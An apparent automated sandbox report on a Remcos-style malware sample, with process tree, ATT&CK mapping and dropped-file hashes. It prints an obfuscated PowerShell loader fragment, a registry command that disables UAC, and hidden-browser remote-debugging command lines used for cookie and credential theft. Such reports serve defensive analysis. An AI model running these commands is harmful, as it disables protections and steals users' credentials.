ver$.uffgHjrelSpyto ehrb,ensaZoe lFami:E,icE AntnPrordLavteSkydm flyaSnv,aD stl,utseLivsn B re lu vit=Davi Mu t[MiniSAfsky.orrsH,nhtSm.ae engmFlu . S,dCTophotryln tttvPosteTaofr DantDusc]Ski :Moto: C,nFVrkfrU seogl smTi.sBElekaO nisSun,eI,de6Arch4 V.rSJabetSubsrTauriHypenRecogSymb( Pro$A,hvSIntee arkeMag,tBunyh nameDrop)R gn ');Unmisunderstanding (Polyrhythm 'Tran$KhajgRsk.lSyndO Bo BKroga udil ,er:ChevPSubeRTankiCabumDiskU Lo lL.njaVo fLObe,eSpirSReji Mund= Spi Irel[.onoSDrukY Unhs PettDeceE ubm Kul.In,eTAp.sETrusX albtSang.Po,tEDslpnInskC StoODiskDMiliID.shNFe.igButt]Pand:Usan:F.dtaGamlS Ca.cNo riDaviIforj.StnkGAltdegroit,orbS damtforsrHel IMultnFourg pyr(Suba$Kra eazosnVognD PhieHeatMDuodASkn a Pr l KomeHo eNGa aEFj n) alg ');Unmisunderstanding (Polyrhythm ' He $Tungg Af,lunheOSkmtBRkkeaTroclCamp:ScoffChokaSchiNAffeTRha aCyprs InviSu.tSIngeTA co= Alu$TallP Calr malII,gnm KuluS volT,ndAPr mLTyngEAparSBoob.CantSSammuFor,b Tr sPs cT.tatR nnei KornDeligL,dd(.dhi$Cablmsonio Gs.N B.ro,rshs SwiUKrydl SmlpDi oHTaveo orvNAgasiA.alc Dia,koda$ bakADemaRraabT Le H armeSlbelkatt) prg ');Unmisunderstanding $Fantasist;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3156
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:740
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1524
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2548
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9983fcc40,0x7ff9983fcc4c,0x7ff9983fcc58
      4⤵
      PID:972
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1912,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1908 /prefetch:2
      4⤵
      PID:4340
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2156,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2180 /prefetch:3
      4⤵
      PID:1480
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2240,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2420 /prefetch:8
      4⤵
      PID:3916
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3164,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4992
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3192,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3200 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4956
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4580,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4428 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2940
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4668,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4684 /prefetch:8
      4⤵
      PID:2192
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4700,i,1350256939611370680,14984833609998520775,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4060 /prefetch:8
      4⤵
      PID:528
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngqfbt"
    3⤵
    PID:3760
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngqfbt"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3080
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\yieyulbgq"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:2448
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\acjivemaeysse"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:1720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9982b46f8,0x7ff9982b4708,0x7ff9982b4718
      4⤵
      PID:3324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,13641962544379667914,5121981279985713763,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2
      4⤵
      PID:4788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,13641962544379667914,5121981279985713763,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 /prefetch:3
      4⤵
      PID:2720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2056,13641962544379667914,5121981279985713763,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2676 /prefetch:8
      4⤵
      PID:3440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2056,13641962544379667914,5121981279985713763,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2056,13641962544379667914,5121981279985713763,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2056,13641962544379667914,5121981279985713763,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2056,13641962544379667914,5121981279985713763,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3252

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:100

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2372

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
c78bc9daf2cef26985717d69d1800904

SHA1
23f5e153dd8411921ef373e88cf9388448b099a1

SHA256
9d0b673aae624999bcd1fffa8c9c9b5fc9896aa0e93f18f1c6e4eb28a250c310

SHA512
ea00e780d31dcd28b275fd5b1912c83b28d743d685472c2936113c20628567d12b42ac80abbbcfeb4e477ff2f054fd8bff86595c92b3904ee4ad2f67123677e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2d74f3420d97c3324b6032942f3a9fa7

SHA1
95af9f165ffc370c5d654a39d959a8c4231122b9

SHA256
8937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d

SHA512
3c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
049c34d1fef6264063754f5b44be2aef

SHA1
1e78e5cfaa8eafce86573d6c27811ff06c9a42ab

SHA256
fe3292dc659d38fbce016f2bbdb73ee7acd4d2dd716f7d3ba00c35308317b4ba

SHA512
ecfcfeddcb0fbe2ad9a3b578c32db44e6313fb9f7aa52fa6d836792d419bd5b77ad9226c91e8a4d19c26afe4bba223a8cb32c29baa9dc84b187761ee545b339b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
f0dcfee23257ed5855b540a000f6ead5

SHA1
67ab8f386d1ecf6cb88d9e05af852413bad22886

SHA256
d2b5a0488a4c3cffcc50a0cff8572c62ca75236f7b638e523b0ec71426fa8c5c

SHA512
544a8bc49156bc1f76a8fa763df019285d99ee90364c2144d00f74855c687bf9c8c28270cee3df6e7d400af13fb8976dcb3d45d61240d531439b0e054327c84b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
d24cdace1208173285ac4072eaffd1d8

SHA1
507e8f53200ca622ee5d13361e2d617027b42499

SHA256
1df0381ae511d305e74c7bddda8a93146841026a6037a264f8ced5ee860e8eff

SHA512
e140c4f0b25c7db28ff3dc7ba196a09b3762f259f49437c98fe95dc2cb2cf11cc4a43473e460c81e6bb42102a4ab623370752c866d1c280129283d3df33db8de

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
a8a79a3aa8ad7992feeb4ba4122aa900

SHA1
1e473b8d117a6bfa93530dc27b13aa698153fe29

SHA256
6bde48ecc352e96595336be3f845bb42680ff55c1e5551eec14fbfb0f921aae1

SHA512
fa8e5b4bfe32a0747e0a855cfcefe3bfe46144cb7f80c432e29e5f588005ff84e8117c4fe03376917447daed432b523797c1a65825f2d446684a9334228685d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
7d1e4a7c0146803acb827bcc5f8490a3

SHA1
37c101af5c632879081947237f58d0400e22c2ea

SHA256
20a5063c598aa2f658e0e987942b2427e74c25773566dea223194e96eda5af07

SHA512
f307cffab92ad356516066335eb0f5f353bb6e036af011cd12ee0c94109f3b70578385582249a29995e46e13dc4a8c888a2939c4597ff213f19303a457684333

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
275B

MD5
e32aafa8a6c387a5333b02b59254790a

SHA1
6aca4355a70c8bbaaa6f8bd7d1a162efd0145e0e

SHA256
f172b4eeae16fe58d62feebef25b5c0cb3c5f30f837ed18a0a4dc62b6899b4c4

SHA512
fce127a3d7971c783a721873477bd3eb83fccfb7cc8376e3018641b4d7b4ac135b23795a9657143e2a5ff285ae51a2e181f7d83d5cf5bb930d4c58978e7f6972

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
fa491d377a6aac306629229ab8a4ae83

SHA1
7a818d65d97d427c4a232b105990e281a5e23032

SHA256
f24cf7a47fe457d339f5057909af34da33951d0b63332e8bbd3ffc4a59e8ef19

SHA512
ac619e227877396f0660481194b5e198857920e25e4a836e83ffd9d627c02b5a3d233009f88e4736878ce354920e5d27a0cba30950259f0f11195493d71fc74f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
ff715fb8a3571d92958fb7616720531f

SHA1
b52e967f62a978fbfabff9f7be05565f8631003e

SHA256
dcf1fd7dac945bd39bee74a3f1009d4c44ec6b079c27e8525eed68609c4da48b

SHA512
d34f6d4814d8f63e22bcbcb3ac1c9848887907cc74f6c07e3ec2b5917d5593b1e96f5c933cdcde8becbf74f3d10d4ffc089522841032f4448c4dadcd9cd4f1f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
8e8069da3e990da7cba0307a0692ac05

SHA1
63ec26b96f8f15e9de78f7af7cc3293340a01440

SHA256
3381d560cf2d70c746e24978722a36550e41d66885d019b29d1b54b54a574f43

SHA512
9a89ddb0cc4c304b6b85767cf9b86d512870fea00d8656738f615feb66746a1df0951c381ec93ff5f1308718ed269cf31b97577ba38dac70021b1e834550f8ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
f26dbd713a735bbe58608786d67e4eb7

SHA1
b8b6089fa4f021ca11b0adb347867125b0fa94e4

SHA256
ff75bc5625661d0180ada2a29ea6315b3ece381f35b34dce67bf1822981907a1

SHA512
774e35b00a2b90461b0734322035c629e86ae3ec52fabd688f80fe3bd2ef8879c3c116723bdae33d1e0e066ff12b922b431f18adf11d4b0de950753180ab319c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
41b0bd2703f2fbe7b1c502560dfa417b

SHA1
31c16919ee60f7637b0b177e20605ded90944681

SHA256
963984ee46a83e2a3048d78e0e7090e96922181f9eed59b2b02bf859df24b8c6

SHA512
49f3cce1e384e1206aaf82b3be3cd027f25aa7c8ba6699b509aa05536db3257abd1fc95e8a64f682049444296f12cbe2dd3ffea964f701c19532c4b7d6d6c80b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
3bf275ad7c396401afb4c58a726ad1b6

SHA1
96bf533576e086a90bd1a6618dd68e940d1e9560

SHA256
f52768ee3e6f25ea1894eb1c4bb7d0feb89efab07cd2fb169bc71a2122faf0b1

SHA512
79af46b585a913f7b03c410ff38004effc98fb074107e90592d98c4fefd668bef7ec76f4c710f692cc71b6d41ee613905483e539d1327d6be49a0d374cbc9e36

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
fccc62b1fdf146966121775cfe8109c8

SHA1
045c74d8d321f9518304231d9d272292cf7f1e1f

SHA256
c9c0d74f7f5c8aa9462a8ceaa91cac6b8c8b437302b392be592eabb81e1cb457

SHA512
290c91cbba35b9f9f24f81a4fa00810c89cb3c6a4c34d64ef5119d29d00b68082764c38eaf8e616e99ff551e381864861592611ff2e1c5decc230114d19e8898

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277

SHA512
ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
263B

MD5
2f380f9c191987471a40e30d8af1d39c

SHA1
90cf61c00d002aed4d0474c5d43bee2c11e580a0

SHA256
8cc76f05d459b6cc31a10ba9ae04fd4bfcdac35ff5c25b18cff6e080a797f3a0

SHA512
db1387f8fcb9baffc4062bbb20e824554cfec264e95f9e1a786b6298dcab8785d6e602237ac0da3ad4637f6a81ba696a6d92313cd453812372d77afc6076bd49

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
291B

MD5
bdcdcc0031a68fb4d152f9cc6f3e8bbf

SHA1
36a7d1ac0bc12fc59232735839785d76e3884634

SHA256
a6cee292cd94cddb11aca0a414bc9711ebfde1d9fdd33b92e35cba0dfd28250d

SHA512
8728418203c09e21c90655e3a9c6b1e2056bc50e67a25809ad19dbbd737359abf0140499b03f98d19096f29e098c043eb2190d5859029359b75ca21fd97a5ad2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG

Filesize
269B

MD5
5ff9189b9b38c38195c01379d59fa75b

SHA1
6b124c9d57b14a7549a28d53111772c81850e958

SHA256
45c97991589730a38dae602803d8787417fbf75465a05ce5f15b873474a38165

SHA512
29e742fc7fb5fb823604bdfe73aafb6c7f61a79390775568cc6086245e948f01d77dfc6bd402f969666e8640d74c8ae8f157fe3c14962920b8884a8be7d54f7d

Download Submit
